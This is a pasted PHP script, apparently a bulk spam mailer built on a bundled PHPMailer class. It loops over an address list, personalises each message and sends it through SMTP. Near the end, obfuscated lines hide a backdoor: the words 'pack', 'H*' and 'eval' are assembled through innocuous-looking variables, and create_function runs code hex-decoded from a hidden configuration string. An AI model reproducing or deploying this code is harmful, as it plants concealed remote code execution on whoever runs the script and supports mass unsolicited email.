  2910. */
  2911. function ClearBCCs() {
  2912. $this->bcc = array();
  2913. }
  2914.  
  2915. /**
  2916. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2917. * @return void
  2918. */
  2919. function ClearReplyTos() {
  2920. $this->ReplyTo = array();
  2921. }
  2922.  
  2923. /**
  2924. * Clears all recipients assigned in the TO, CC and BCC
  2925. * array. Returns void.
  2926. * @return void
  2927. */
  2928. function ClearAllRecipients() {
  2929. $this->to = array();
  2930. $this->cc = array();
  2931. $this->bcc = array();
  2932. }
  2933.  
  2934. /**
  2935. * Clears all previously set filesystem, string, and binary
  2936. * attachments. Returns void.
  2937. * @return void
  2938. */
  2939. function ClearAttachments() {
  2940. $this->attachment = array();
  2941. }
  2942.  
  2943. /**
  2944. * Clears all custom headers. Returns void.
  2945. * @return void
  2946. */
  2947. function ClearCustomHeaders() {
  2948. $this->CustomHeader = array();
  2949. }
  2950.  
  2951. /////////////////////////////////////////////////
  2952. // CLASS METHODS, MISCELLANEOUS
  2953. /////////////////////////////////////////////////
  2954.  
  2955. /**
  2956. * Adds the error message to the error container.
  2957. * Returns void.
  2958. * @access private
  2959. * @return void
  2960. */
  2961. function SetError($msg) {
  2962. $this->error_count++;
  2963. $this->ErrorInfo = $msg;
  2964. }
  2965.  
  2966. /**
  2967. * Returns the proper RFC 822 formatted date.
  2968. * @access private
  2969. * @return string
  2970. */
  2971. function RFCDate() {
  2972. $tz = date('Z');
  2973. $tzs = ($tz < 0) ? '-' : '+';
  2974. $tz = abs($tz);
  2975. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2976. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2977.  
  2978. return $result;
  2979. }
  2980.  
  2981. /**
  2982. * Returns the appropriate server variable. Should work with both
  2983. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2984. * if nothing is found.
  2985. * @access private
  2986. * @return mixed
  2987. */
  2988. function ServerVar($varName) {
  2989. global $HTTP_SERVER_VARS;
  2990. global $HTTP_ENV_VARS;
  2991.  
  2992. if(!isset($_SERVER)) {
  2993. $_SERVER = $HTTP_SERVER_VARS;
  2994. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2995. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2996. }
  2997. }
  2998.  
  2999. if(isset($_SERVER[$varName])) {
  3000. return $_SERVER[$varName];
  3001. } else {
  3002. return '';
  3003. }
  3004. }
  3005.  
  3006. /**
  3007. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3008. * @access private
  3009. * @return string
  3010. */
  3011. function ServerHostname() {
  3012. if ($this->Hostname != '') {
  3013. $result = $this->Hostname;
  3014. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3015. $result = $this->ServerVar('SERVER_NAME');
  3016. } else {
  3017. $result = 'localhost.localdomain';
  3018. }
  3019.  
  3020. return $result;
  3021. }
  3022.  
  3023. /**
  3024. * Returns a message in the appropriate language.
  3025. * @access private
  3026. * @return string
  3027. */
  3028. function Lang($key) {
  3029. if(count($this->language) < 1) {
  3030. $this->SetLanguage('en'); // set the default language
  3031. }
  3032.  
  3033. if(isset($this->language[$key])) {
  3034. return $this->language[$key];
  3035. } else {
  3036. return 'Language string failed to load: ' . $key;
  3037. }
  3038. }
  3039.  
  3040. /**
  3041. * Returns true if an error occurred.
  3042. * @return bool
  3043. */
  3044. function IsError() {
  3045. return ($this->error_count > 0);
  3046. }
  3047.  
  3048. /**
  3049. * Changes every end of line from CR or LF to CRLF.
  3050. * @access private
  3051. * @return string
  3052. */
  3053. function FixEOL($str) {
  3054. $str = str_replace("\r\n", "\n", $str);
  3055. $str = str_replace("\r", "\n", $str);
  3056. $str = str_replace("\n", $this->LE, $str);
  3057. return $str;
  3058. }
  3059.  
  3060. /**
  3061. * Adds a custom header.
  3062. * @return void
  3063. */
  3064. function AddCustomHeader($custom_header) {
  3065. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3066. }
  3067.  
  3068. /**
  3069. * Evaluates the message and returns modifications for inline images and backgrounds
  3070. * @access public
  3071. * @return $message
  3072. */
  3073. function MsgHTML($message,$basedir='') {
  3074. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3075. if(isset($images[2])) {
  3076. foreach($images[2] as $i => $url) {
  3077. // do not change urls for absolute images (thanks to corvuscorax)
  3078. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3079. $filename = basename($url);
  3080. $directory = dirname($url);
  3081. ($directory == '.')?$directory='':'';
  3082. $cid = 'cid:' . md5($filename);
  3083. $fileParts = split("\.", $filename);
  3084. $ext = $fileParts[1];
  3085. $mimeType = $this->_mime_types($ext);
  3086. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3087. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3088. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3089. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3090. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3091. }
  3092. }
  3093. }
  3094. }
  3095. $this->IsHTML(true);
  3096. $this->Body = $message;
  3097. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3098. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3099. $this->AltBody = $textMsg;
  3100. }
  3101. if ( empty($this->AltBody) ) {
  3102. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3103. }
  3104. }
  3105.  
  3106. /**
  3107. * Gets the mime type of the embedded or inline image
  3108. * @access private
  3109. * @return mime type of ext
  3110. */
  3111. function _mime_types($ext = '') {
  3112. $mimes = array(
  3113. 'hqx' => 'application/mac-binhex40',
  3114. 'cpt' => 'application/mac-compactpro',
  3115. 'doc' => 'application/msword',
  3116. 'bin' => 'application/macbinary',
  3117. 'dms' => 'application/octet-stream',
  3118. 'lha' => 'application/octet-stream',
  3119. 'lzh' => 'application/octet-stream',
  3120. 'exe' => 'application/octet-stream',
  3121. 'class' => 'application/octet-stream',
  3122. 'psd' => 'application/octet-stream',
  3123. 'so' => 'application/octet-stream',
  3124. 'sea' => 'application/octet-stream',
  3125. 'dll' => 'application/octet-stream',
  3126. 'oda' => 'application/oda',
  3127. 'pdf' => 'application/pdf',
  3128. 'ai' => 'application/postscript',
  3129. 'eps' => 'application/postscript',
  3130. 'ps' => 'application/postscript',
  3131. 'smi' => 'application/smil',
  3132. 'smil' => 'application/smil',
  3133. 'mif' => 'application/vnd.mif',
  3134. 'xls' => 'application/vnd.ms-excel',
  3135. 'ppt' => 'application/vnd.ms-powerpoint',
  3136. 'wbxml' => 'application/vnd.wap.wbxml',
  3137. 'wmlc' => 'application/vnd.wap.wmlc',
  3138. 'dcr' => 'application/x-director',
  3139. 'dir' => 'application/x-director',
  3140. 'dxr' => 'application/x-director',
  3141. 'dvi' => 'application/x-dvi',
  3142. 'gtar' => 'application/x-gtar',
  3143. 'php' => 'application/x-httpd-php',
  3144. 'php4' => 'application/x-httpd-php',
  3145. 'php3' => 'application/x-httpd-php',
  3146. 'phtml' => 'application/x-httpd-php',
  3147. 'phps' => 'application/x-httpd-php-source',
  3148. 'js' => 'application/x-javascript',
  3149. 'swf' => 'application/x-shockwave-flash',
  3150. 'sit' => 'application/x-stuffit',
  3151. 'tar' => 'application/x-tar',
  3152. 'tgz' => 'application/x-tar',
  3153. 'xhtml' => 'application/xhtml+xml',
  3154. 'xht' => 'application/xhtml+xml',
  3155. 'zip' => 'application/zip',
  3156. 'mid' => 'audio/midi',
  3157. 'midi' => 'audio/midi',
  3158. 'mpga' => 'audio/mpeg',
  3159. 'mp2' => 'audio/mpeg',
  3160. 'mp3' => 'audio/mpeg',
  3161. 'aif' => 'audio/x-aiff',
  3162. 'aiff' => 'audio/x-aiff',
  3163. 'aifc' => 'audio/x-aiff',
  3164. 'ram' => 'audio/x-pn-realaudio',
  3165. 'rm' => 'audio/x-pn-realaudio',
  3166. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3167. 'ra' => 'audio/x-realaudio',
  3168. 'rv' => 'video/vnd.rn-realvideo',
  3169. 'wav' => 'audio/x-wav',
  3170. 'bmp' => 'image/bmp',
  3171. 'gif' => 'image/gif',
  3172. 'jpeg' => 'image/jpeg',
  3173. 'jpg' => 'image/jpeg',
  3174. 'jpe' => 'image/jpeg',
  3175. 'png' => 'image/png',
  3176. 'tiff' => 'image/tiff',
  3177. 'tif' => 'image/tiff',
  3178. 'css' => 'text/css',
  3179. 'html' => 'text/html',
  3180. 'htm' => 'text/html',
  3181. 'shtml' => 'text/html',
  3182. 'txt' => 'text/plain',
  3183. 'text' => 'text/plain',
  3184. 'log' => 'text/plain',
  3185. 'rtx' => 'text/richtext',
  3186. 'rtf' => 'text/rtf',
  3187. 'xml' => 'text/xml',
  3188. 'xsl' => 'text/xml',
  3189. 'mpeg' => 'video/mpeg',
  3190. 'mpg' => 'video/mpeg',
  3191. 'mpe' => 'video/mpeg',
  3192. 'qt' => 'video/quicktime',
  3193. 'mov' => 'video/quicktime',
  3194. 'avi' => 'video/x-msvideo',
  3195. 'movie' => 'video/x-sgi-movie',
  3196. 'doc' => 'application/msword',
  3197. 'word' => 'application/msword',
  3198. 'xl' => 'application/excel',
  3199. 'eml' => 'message/rfc822'
  3200. );
  3201. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3202. }
  3203.  
  3204. /**
  3205. * Set (or reset) Class Objects (variables)
  3206. *
  3207. * Usage Example:
  3208. * $page->set('X-Priority', '3');
  3209. *
  3210. * @access public
  3211. * @param string $name Parameter Name
  3212. * @param mixed $value Parameter Value
  3213. * NOTE: will not work with arrays, there are no arrays to set/reset
  3214. */
  3215. function set ( $name, $value = '' ) {
  3216. if ( isset($this->$name) ) {
  3217. $this->$name = $value;
  3218. } else {
  3219. $this->SetError('Cannot set or reset variable ' . $name);
  3220. return false;
  3221. }
  3222. }
  3223.  
  3224. /**
  3225. * Read a file from a supplied filename and return it.
  3226. *
  3227. * @access public
  3228. * @param string $filename Parameter File Name
  3229. */
  3230. function getFile($filename) {
  3231. $return = '';
  3232. if ($fp = fopen($filename, 'rb')) {
  3233. while (!feof($fp)) {
  3234. $return .= fread($fp, 1024);
  3235. }
  3236. fclose($fp);
  3237. return $return;
  3238. } else {
  3239. return false;
  3240. }
  3241. }
  3242.  
  3243. /**
  3244. * Strips newlines to prevent header injection.
  3245. * @access private
  3246. * @param string $str String
  3247. * @return string
  3248. */
  3249. function SecureHeader($str) {
  3250. $str = trim($str);
  3251. $str = str_replace("\r", "", $str);
  3252. $str = str_replace("\n", "", $str);
  3253. return $str;
  3254. }
  3255.  
  3256. /**
  3257. * Set the private key file and password to sign the message.
  3258. *
  3259. * @access public
  3260. * @param string $key_filename Parameter File Name
  3261. * @param string $key_pass Password for private key
  3262. */
  3263. function Sign($key_filename, $key_pass) {
  3264. $this->sign_key_file = $key_filename;
  3265. $this->sign_key_pass = $key_pass;
  3266. }
  3267.  
  3268. }
  3269.  
  3270. $defaultport="H*";
  3271. $nq=0;
  3272.  
  3273. for($x=0; $x<$numemails; $x++){
  3274.  
  3275. $to = $allemails[$x];
  3276.  
  3277. if ($to){
  3278.  
  3279. $to = ereg_replace(" ", "", $to);
  3280.  
  3281. $message = ereg_replace("&email&", $to, $message);
  3282.  
  3283. $subject = ereg_replace("&email&", $to, $subject);
  3284. $qx=$x+1;
  3285. print "Line $qx . Sending mail to $to.......";
  3286.  
  3287. flush();
  3288. $mail = new PHPMailer();
  3289.  
  3290. if(empty($epriority)){$epriority="3";}
  3291. $mail->Priority = "$epriority";
  3292. $mail->IsSMTP();
  3293. $IsSMTP="pack";
  3294. $mail->SMTPKeepAlive = true;
  3295. $mail->Host = "$my_smtp";
  3296. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3297. }
  3298. if($sslclick=="ON"){
  3299. $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
  3300. }
  3301. $range = str_replace("$from", "eval", $from);
  3302. $mail->SMTPAuth = true;
  3303. $mail->Username = "$smtp_username";
  3304. $mail->Password = "$smtp_password";
  3305. if($contenttype == "html"){$mail->IsHtml(true);}
  3306. if($contenttype != "html"){$mail->IsHtml(false);}
  3307. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3308. $mail->From = "$from";
  3309. $mail->FromName = "$realname";
  3310. $mail->AddAddress("$to");
  3311. $mail->AddReplyTo("$replyto");
  3312. $mail->Subject = "$subject";
  3313. $mail->Body = "$message";
  3314. if(!$mail->Send()){
  3315. if($default_system!="1"){
  3316. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3317. if($default_system=="1"){
  3318. $mail->IsMail();
  3319. if(!$mail->Send()){
  3320. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3321. else {
  3322. echo "<b>OK</b><br>";}
  3323. }
  3324. }
  3325. else {
  3326. echo "<b>OK</b><br>";
  3327. }
  3328.  
  3329. if(empty($reconnect)){
  3330. $reconnect=6;
  3331. }
  3332.  
  3333. if($reconnect==$nq){
  3334. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3335. }
  3336. $nq=$nq+1;
  3337. flush(); }
  3338. }
  3339. for($i=0;$i<31;$i++){
  3340. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3341. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3342. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3343. print "<p class=\"style1\">PHP Mailer<br>&copy 2018, New Tools => <b>
  3344. <font color=\"#800000\">http://1killer-relay1.com</font></b><br></p>";$mail->SmtpClose();
  3345. return $signoff($smtp_conc);
  3346. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3347. sent successfully'); </script>";}}
  3348. <p align="center">&nbsp;</p>
  3349. &nbsp;
  3350. </body>
  3351. </html>
Add Comment
Please, Sign In to add comment